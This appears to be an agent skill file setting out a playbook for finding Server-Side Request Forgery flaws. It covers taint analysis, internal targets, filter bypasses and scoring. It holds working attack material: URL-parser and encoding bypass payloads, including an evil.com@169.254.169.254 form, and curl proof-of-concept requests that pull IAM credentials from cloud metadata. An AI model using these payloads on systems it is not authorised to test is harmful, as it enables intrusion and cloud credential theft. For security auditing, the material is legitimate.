| name | ssrf |
| description | Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE. |
| metadata | {"subdomain":"web-exploitation","when_to_use":"ssrf server side request forgery cwe-918 taint url http client cloud metadata imds dns rebinding gopher smuggling iam role"} |
SSRF Hunting Playbook
SSRF is one of the highest-yield vuln classes for 0-day work because
(a) it's often medium severity in isolation but chains to critical when
it reaches cloud metadata, internal admin panels, or unprotected
Redis/Elasticsearch, and (b) modern frameworks have dozens of bypass
classes that scanners miss.
1. Sources (user-controlled input that becomes a URL)
Look for any parameter that gets fed into an HTTP client:
- Python:
requests.get(user_url), httpx.get, urllib.request.urlopen, aiohttp.get
- Node:
fetch(userUrl), axios.get, http.request, got, node-fetch
- Java:
HttpURLConnection, HttpClient.send, URL.openConnection, OkHttpClient
- Go:
http.Get(u), http.NewRequest, net.Dial("tcp", u)
- Ruby:
Net::HTTP.get, URI.open, Faraday.get
- PHP:
file_get_contents($url), curl_exec, fsockopen
Grep patterns to run via bash:
semgrep --config p/ssrf /workspace/src --sarif -o /workspace/sem-ssrf.sarif
grep -rE 'requests\.get\(|httpx\.|urllib.*urlopen|fetch\(|axios\.|http\.Get\(|URL\(' /workspace/src
2. Sinks that make SSRF worth reporting
| Sink | Impact |
|---|
http://169.254.169.254/ (AWS IMDS) | IAM role creds → full AWS takeover |
http://metadata.google.internal/ | GCP service-account token |
http://169.254.169.254/metadata/v1/ | Azure IMDS |
http://127.0.0.1:6379/ (Redis) | Unauthenticated RCE via Lua eval / cron |
http://127.0.0.1:9200/ | Elasticsearch data leak + RCE |
http://127.0.0.1:2375/ | Docker daemon — container escape |
gopher://, dict://, file:// | Protocol smuggling (SMTP, memcached) |
Internal *.svc.cluster.local | Kubernetes service mesh lateral |
3. Bypass classes (why scanners miss real bugs)
- DNS rebinding — resolve to public first, then 127.0.0.1 on second
lookup. Look for caches that don't pin IP across the fetch.
- IPv6 literal —
[::1], [::ffff:127.0.0.1], [::]
- Decimal / octal / hex encoding —
0x7f.0.0.1, 0177.0.0.1, 2130706433
- URL parser confusion —
http://evil.com@169.254.169.254/,
http://169.254.169.254#.evil.com/
- IDN unicode tricks — homoglyph domains that normalize to metadata hosts
- Redirect chains — allowlist checks the initial URL, not the 302 target
- IMDSv2 required — but if the HTTP client sets a Metadata-Token header
on redirect, v2 still leaks
- 30x → file:// — server follows redirects across protocols
4. Taint audit workflow
- Enumerate sources with grep + semgrep (above).
- For each hit, follow the data flow manually:
- Is there a
urlparse check? Does it check .hostname (spoofable)
or the raw URL (safe)?
- Is there an IP allowlist check before or after DNS resolution?
(Only before-resolution checks are TOCTOU-safe.)
- Is redirect following disabled?
allow_redirects=False in requests.
- Each confirmed source-to-sink path →
kg_add_node(kind="vulnerability", ...).
- Link the vuln to its file+line via a code_location node.
5. PoC template
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"
Success patterns for validate_finding:
AccessKeyId
SecretAccessKey
Token.*[A-Za-z0-9+/]{100,}
Negative control:
- Same request with the URL param blanked or set to
https://example.com/
- Negative patterns:
Missing url, 400, example.com
6. Default CVSS for confirmed SSRF
| Variant | CVSS vector | Score |
|---|
| Blind SSRF, external only | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N | 5.3 |
| SSRF → internal services (no pivot) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | 7.5 |
| SSRF → cloud metadata → IAM credential | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 |
7. Chain promotion
Once validated, add an enables edge from the SSRF vuln to the adjacent
IAM credential / Redis host / admin panel node. Weight 0.3 for trivial
IMDS chains, 0.6 for bypass-required variants. Then
plan_attack_chains(promote=True) to persist the complete chain.